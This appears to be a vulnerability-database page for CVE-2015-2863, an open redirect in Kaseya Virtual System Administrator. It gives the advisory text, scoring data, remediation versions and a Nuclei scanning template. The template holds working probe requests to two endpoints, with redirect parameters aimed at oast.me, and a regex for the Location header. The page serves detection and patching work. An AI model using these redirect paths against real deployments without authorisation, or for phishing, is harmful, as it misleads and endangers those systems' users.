CVE-2015-2863: Kaseya Virtual System Administrator - Open Redirect

2025-08-01 Kaseya Virtual System Administrator PoC Public

Description

Kaseya Virtual System Administrator 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 are susceptible to an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.

PoC

id: CVE-2015-2863

info:
  name: Kaseya Virtual System Administrator - Open Redirect
  author: 0x_Akoko,AmirHossein Raeisi
  severity: medium
  description: |
    Kaseya Virtual System Administrator 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 are susceptible to an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.
  impact: |
    Attackers can redirect users to malicious sites, facilitating phishing attacks and potential credential theft.
  remediation: |
    Update to version 7.0.0.29, 8.0.0.18, 9.0.0.14, or 9.1.0.4 or later.
  reference:
    - https://github.com/pedrib/PoC/blob/3f927b957b86a91ce65b017c4b9c93d05e241592/advisories/Kaseya/kaseya-vsa-vuln.txt
    - http://www.kb.cert.org/vuls/id/919604
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2863
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-2863
    cwe-id: CWE-601
    epss-score: 0.10317
    epss-percentile: 0.95461
    cpe: cpe:2.3:a:kaseya:virtual_system_administrator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kaseya
    product: virtual_system_administrator
  tags: cve2015,cve,redirect,kaseya,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/inc/supportLoad.asp?urlToLoad=http://oast.me'
      - '{{BaseURL}}/vsaPres/Web20/core/LocalProxy.ashx?url=http://oast.me'

    stop-at-first-match: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.me\/?(\/|[^.].*)?$' # https://regex101.com/r/idfD2e/1
# digest: 4b0a00483046022100cb4d122027821eaf34a6d1e389e900f049a7217b898ed0148580acf201236f84022100a6c9dc02a9befc62532770cb45249017769cd94ebd858561eb49297258c626c0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-2863.yaml

References

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